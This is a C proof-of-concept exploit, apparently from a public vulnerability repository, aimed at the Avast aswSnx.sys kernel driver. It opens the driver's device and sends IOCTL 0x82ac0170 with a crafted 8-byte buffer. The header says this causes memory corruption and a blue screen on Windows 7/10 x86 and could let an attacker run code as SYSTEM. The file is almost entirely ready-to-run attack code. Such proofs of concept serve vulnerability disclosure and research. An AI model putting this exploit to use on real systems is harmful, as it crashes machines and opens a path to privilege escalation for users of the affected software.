/**
* Author: bee13oy
* BSoD on Windows 7 x86 / Windows 10 x86  + Avast Premier / Avast Free Antivirus (11.1.2253)
* Source: https://github.com/bee13oy/AV_Kernel_Vulns/tree/master/Avast/aswSnx_BSoD2(ZDI-16-681)
*
* There is a Memory Corruption Vulnerability in aswSnx.sys when DeviceIoControl API is called with ioctl 
* number 0x82ac0170, and An attacker may leverage this vulnerability to execute arbitrary code in the 
* context of SYSTEM.
**/
 
#include <Windows.h>
 
void BSoD(const char* szDeviceName)
{
    HANDLE hDevice = CreateFileA(szDeviceName,
        GENERIC_READ, 
        0, 
        NULL, 
        OPEN_EXISTING, 
        0, 
        NULL);
 
    if (hDevice != INVALID_HANDLE_VALUE)
    {
        DWORD nbBytes = 0;
        CHAR bufInput[0x8+1] = "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"; 
        CHAR bufOuput[0x8+1] = ""; 
        DeviceIoControl(hDevice, 
            0x82ac0170, 
            bufInput, 
            0x00000008, 
            bufOuput, 
            0x00000008, 
            &nbBytes, 
            NULL
            ); 
    }
}
 
int _tmain(int argc, _TCHAR* argv[])
{
    BSoD("\\\\.\\aswSnx");
 
    return 0;
}